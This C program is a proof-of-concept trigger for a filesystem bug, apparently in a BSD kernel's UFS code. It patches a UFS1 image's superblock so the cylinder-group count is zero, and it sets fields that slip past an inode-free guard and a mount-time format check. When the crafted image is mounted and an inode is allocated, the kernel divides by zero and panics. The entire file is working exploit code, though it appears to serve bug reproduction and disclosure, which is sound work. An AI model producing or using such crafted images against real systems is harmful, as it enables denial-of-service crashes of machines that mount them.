/*
 * patch_image.c - DF-0794 trigger helper.
 *
 * Patches a UFS1 superblock (created by `newfs`) so that fs_ncg = 0,
 * fs_cstotal.cs_nifree = 1 (to bypass the nifree==0 guard at
 * ffs_alloc.c:596), and fs_clean = 1 (so it mounts read/write).
 *
 * The image is otherwise a valid newfs'd UFS1 filesystem. ffs_mountfs
 * (ffs_vfsops.c:642-646) only validates fs_magic / fs_bsize, so the
 * crafted image mounts cleanly; the panic is deferred to the first
 * inode allocation, where ffs_dirpref divides by fs_ncg.
 *
 * Usage: ./patch_image <image-file>
 */
#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <vfs/ufs/ufs_types.h>
#include <vfs/ufs/fs.h>

int main(int argc, char **argv)
{
    const char *path;
    int fd;
    struct fs sb;

    if (argc != 2) {
        fprintf(stderr, "usage: %s <image>\n", argv[0]);
        return 2;
    }
    path = argv[1];

    fd = open(path, O_RDWR);
    if (fd < 0) { perror("open"); return 2; }

    if (lseek(fd, (off_t)SBOFF, SEEK_SET) != (off_t)SBOFF) {
        perror("lseek"); return 2;
    }
    if (read(fd, &sb, sizeof(sb)) != (ssize_t)sizeof(sb)) {
        perror("read"); return 2;
    }

    printf("BEFORE: magic=0x%08x ncg=%d bsize=%d sbsize=%d cssize=%d "
           "cstotal.cs_nifree=%d clean=%d postblformat=%d contigsumsize=%d\n",
           sb.fs_magic, sb.fs_ncg, sb.fs_bsize, sb.fs_sbsize, sb.fs_cssize,
           sb.fs_cstotal.cs_nifree, sb.fs_clean, sb.fs_postblformat,
           sb.fs_contigsumsize);

    if (sb.fs_magic != FS_MAGIC) {
        fprintf(stderr, "not a UFS1 filesystem (magic=0x%x)\n", sb.fs_magic);
        return 2;
    }

    /* The vulnerability: set the divisor to zero. */
    sb.fs_ncg = 0;
    /* Force the cs_nifree!=0 guard at ffs_alloc.c:596 to pass so we
     * actually reach ffs_dirpref. */
    sb.fs_cstotal.cs_nifree = 1;
    /* Mark clean so it mounts read/write without forcing. */
    sb.fs_clean = 1;
    /* Avoid the FS_42POSTBLFMT reject at ffs_vfsops.c:664. */
    if (sb.fs_postblformat == FS_42POSTBLFMT)
        sb.fs_postblformat = 0;

    if (lseek(fd, (off_t)SBOFF, SEEK_SET) != (off_t)SBOFF) {
        perror("lseek2"); return 2;
    }
    if (write(fd, &sb, sizeof(sb)) != (ssize_t)sizeof(sb)) {
        perror("write"); return 2;
    }
    if (close(fd) < 0) { perror("close"); return 2; }

    printf("AFTER : magic=0x%08x ncg=%d bsize=%d sbsize=%d cssize=%d "
           "cstotal.cs_nifree=%d clean=%d postblformat=%d contigsumsize=%d\n",
           sb.fs_magic, sb.fs_ncg, sb.fs_bsize, sb.fs_sbsize, sb.fs_cssize,
           sb.fs_cstotal.cs_nifree, sb.fs_clean, sb.fs_postblformat,
           sb.fs_contigsumsize);
    printf("patched %s: fs_ncg=0, fs_cstotal.cs_nifree=1, fs_clean=1\n",
           path);
    return 0;
}
